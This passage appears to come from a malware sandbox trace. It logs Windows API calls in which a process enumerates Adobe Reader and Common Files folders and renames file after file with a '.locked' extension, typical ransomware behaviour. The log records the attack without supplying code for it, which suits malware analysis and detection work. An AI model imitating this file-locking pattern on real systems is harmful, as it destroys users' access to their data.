10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ro.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ro.txt"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ro.txt.locked" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ro.txt.locked"), dwFlags=0x2) returned 1 [0090.246] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ro_RO.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ro_ro.txt"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ro_RO.txt.locked" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ro_ro.txt.locked"), dwFlags=0x2) returned 1 [0090.277] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ru.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ru.txt"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ru.txt.locked" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ru.txt.locked"), dwFlags=0x2) returned 1 [0090.319] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ru_RU.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ru_ru.txt"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ru_RU.txt.locked" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ru_ru.txt.locked"), dwFlags=0x2) returned 1 [0090.349] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ru_UA.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ru_ua.txt"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ru_UA.txt.locked" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ru_ua.txt.locked"), dwFlags=0x2) returned 1 [0090.378] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.sk.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.sk.txt"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.sk.txt.locked" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.sk.txt.locked"), dwFlags=0x2) returned 1 [0090.410] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.sk_SK.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.sk_sk.txt"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.sk_SK.txt.locked" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.sk_sk.txt.locked"), dwFlags=0x2) returned 1 [0090.470] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.sl.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.sl.txt"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.sl.txt.locked" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.sl.txt.locked"), dwFlags=0x2) returned 1 [0090.500] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.sl_SI.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.sl_si.txt"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.sl_SI.txt.locked" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.sl_si.txt.locked"), dwFlags=0x2) returned 1 [0090.583] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.sv.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.sv.txt"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.sv.txt.locked" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.sv.txt.locked"), dwFlags=0x2) returned 1 [0090.613] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.sv_FI.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.sv_fi.txt"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.sv_FI.txt.locked" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.sv_fi.txt.locked"), dwFlags=0x2) returned 1 [0090.643] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.sv_SE.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.sv_se.txt"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.sv_SE.txt.locked" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.sv_se.txt.locked"), dwFlags=0x2) returned 1 [0090.675] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.tr.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.tr.txt"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.tr.txt.locked" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.tr.txt.locked"), dwFlags=0x2) returned 1 [0090.705] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.tr_TR.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.tr_tr.txt"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.tr_TR.txt.locked" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.tr_tr.txt.locked"), dwFlags=0x2) returned 1 [0090.768] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.uk.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.uk.txt"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.uk.txt.locked" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.uk.txt.locked"), dwFlags=0x2) returned 1 [0090.851] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.uk_UA.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.uk_ua.txt"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.uk_UA.txt.locked" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.uk_ua.txt.locked"), dwFlags=0x2) returned 1 [0090.877] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.zh_CN.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.zh_cn.txt"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.zh_CN.txt.locked" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.zh_cn.txt.locked"), dwFlags=0x2) returned 1 [0090.904] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.zh_TW.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.zh_tw.txt"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.zh_TW.txt.locked" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.zh_tw.txt.locked"), dwFlags=0x2) returned 1 [0090.929] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.zh_TW_STROKE.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.zh_tw_stroke.txt"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.zh_TW_STROKE.txt.locked" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.zh_tw_stroke.txt.locked"), dwFlags=0x2) returned 1 [0090.939] GetFileType (hFile=0xd4) returned 0x1 [0090.940] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\*", lpFindFileData=0x42b320 | out: lpFindFileData=0x42b320*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cfb2f60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd9303120, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xd9303120, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2f3, dwReserved1=0x42b108, cFileName=".", cAlternateFileName="")) returned 0x825950 [0090.941] GetFileType (hFile=0xa0) returned 0x1 [0090.942] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\*", lpFindFileData=0x42a9b8 | out: lpFindFileData=0x42a9b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cfb2f60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd9303120, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xd9303120, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1a, dwReserved1=0x42a7a0, cFileName=".", cAlternateFileName="")) returned 0x825990 [0090.945] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\*", lpFindFileData=0x42a050 | out: lpFindFileData=0x42a050*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cfb2f60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd9303120, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xd9303120, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1a, dwReserved1=0x429e38, cFileName=".", cAlternateFileName="")) returned 0x8259d0 [0090.949] GetFileType (hFile=0xc4) returned 0x1 [0090.950] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\SaslPrep\\*", lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81d5bd20, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd9329280, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xd9329280, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4f4, dwReserved1=0x42ba70, cFileName=".", cAlternateFileName="")) returned 0x825910 [0090.957] GetFileType (hFile=0xc4) returned 0x1 [0090.958] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\*", lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x833608a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd9329280, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xd9329280, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4f4, dwReserved1=0x42ba70, cFileName=".", cAlternateFileName="")) returned 0x825910 [0090.958] GetFileType (hFile=0xd4) returned 0x1 [0090.959] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\*", lpFindFileData=0x42b320 | out: lpFindFileData=0x42b320*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x833608a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd9329280, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xd9329280, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2f3, dwReserved1=0x42b108, cFileName=".", cAlternateFileName="")) returned 0x825950 [0090.960] GetFileType (hFile=0xa0) returned 0x1 [0090.961] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\ICU\\*", lpFindFileData=0x42a9b8 | out: lpFindFileData=0x42a9b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x834dd660, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd9329280, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xd9329280, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf2, dwReserved1=0x42a7a0, cFileName=".", cAlternateFileName="")) returned 0x825990 [0091.171] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\ICU\\icudt26l.dat" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\icu\\icudt26l.dat"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\ICU\\icudt26l.dat.locked" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\icu\\icudt26l.dat.locked"), dwFlags=0x2) returned 1 [0091.174] GetFileType (hFile=0xa0) returned 0x1 [0091.175] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\*", lpFindFileData=0x42a9b8 | out: lpFindFileData=0x42a9b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x833608a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd953e5c0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xd953e5c0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf2, dwReserved1=0x42a7a0, cFileName=".", cAlternateFileName="")) returned 0x825990 [0091.179] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\Adobe\\*", lpFindFileData=0x42a050 | out: lpFindFileData=0x42a050*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x834450e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd953e5c0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xd953e5c0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1a, dwReserved1=0x429e38, cFileName=".", cAlternateFileName="")) returned 0x8259d0 [0091.593] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\Adobe\\HKSCS.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\adobe\\hkscs.txt"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\Adobe\\HKSCS.txt.locked" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\adobe\\hkscs.txt.locked"), dwFlags=0x2) returned 1 [0091.800] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\Adobe\\Japanese83pv.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\adobe\\japanese83pv.txt"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\Adobe\\Japanese83pv.txt.locked" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\adobe\\japanese83pv.txt.locked"), dwFlags=0x2) returned 1 [0091.903] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\Adobe\\JISX0208.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\adobe\\jisx0208.txt"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\Adobe\\JISX0208.txt.locked" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\adobe\\jisx0208.txt.locked"), dwFlags=0x2) returned 1 [0092.071] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\Adobe\\JISX0213.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\adobe\\jisx0213.txt"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\Adobe\\JISX0213.txt.locked" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\adobe\\jisx0213.txt.locked"), dwFlags=0x2) returned 1 [0092.087] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\Adobe\\symbol.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\adobe\\symbol.txt"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\Adobe\\symbol.txt.locked" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\adobe\\symbol.txt.locked"), dwFlags=0x2) returned 1 [0092.101] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\Adobe\\zdingbat.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\adobe\\zdingbat.txt"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\Adobe\\zdingbat.txt.locked" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\adobe\\zdingbat.txt.locked"), dwFlags=0x2) returned 1 [0092.104] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\*", lpFindFileData=0x42a050 | out: lpFindFileData=0x42a050*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x834450e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd9e2b840, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xd9e2b840, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1a, dwReserved1=0x429e38, cFileName=".", cAlternateFileName="")) returned 0x8259d0 [0092.108] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\win\\*", lpFindFileData=0x42a050 | out: lpFindFileData=0x42a050*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x833608a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd9e2b840, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xd9e2b840, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1a, dwReserved1=0x429e38, cFileName=".", cAlternateFileName="")) returned 0x8259d0 [0092.108] GetFileType (hFile=0xc8) returned 0x1 [0092.109] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Setup Files\\*", lpFindFileData=0x42c5f0 | out: lpFindFileData=0x42c5f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cf66ca0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd9e2b840, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xd9e2b840, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x201, dwReserved1=0x42c3d8, cFileName=".", cAlternateFileName="")) returned 0x8258d0 [0092.114] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Setup Files\\{AC76BA86-7AD7-FFFF-7B44-AA0000000001}\\*", lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cf66ca0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd9e2b840, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xd9e2b840, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x402, dwReserved1=0x42ba70, cFileName=".", cAlternateFileName="")) returned 0x825910 [0092.115] GetFileType (hFile=0x108) returned 0x1 [0092.116] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Common Files\\*", lpFindFileData=0x42d8c0 | out: lpFindFileData=0x42d8c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8ab1dc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xd9e2b840, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xd9e2b840, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x201, dwReserved1=0x42d6a8, cFileName=".", cAlternateFileName="")) returned 0x825810 [0092.116] GetFileType (hFile=0x120) returned 0x1 [0092.117] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Common Files\\Adobe\\*", lpFindFileData=0x42cf58 | out: lpFindFileData=0x42cf58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cf1a9e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd9e519a0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xd9e519a0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x402, dwReserved1=0x42cd40, cFileName=".", cAlternateFileName="")) returned 0x825890 [0092.118] GetFileType (hFile=0xc8) returned 0x1 [0092.119] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\*", lpFindFileData=0x42c5f0 | out: lpFindFileData=0x42c5f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cf1a9e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd9e519a0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xd9e519a0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x201, dwReserved1=0x42c3d8, cFileName=".", cAlternateFileName="")) returned 0x8258d0 [0092.122] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\*", lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cf1a9e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81f24da0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81f24da0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x402, dwReserved1=0x301, cFileName=".", cAlternateFileName="")) returned 0x825910 [0092.125] GetFileType (hFile=0xc8) returned 0x1 [0092.126] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Common Files\\Adobe\\ARM\\*", lpFindFileData=0x42c5f0 | out: lpFindFileData=0x42c5f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8386f760, ftCreationTime.dwHighDateTime=0x1d2dda0, 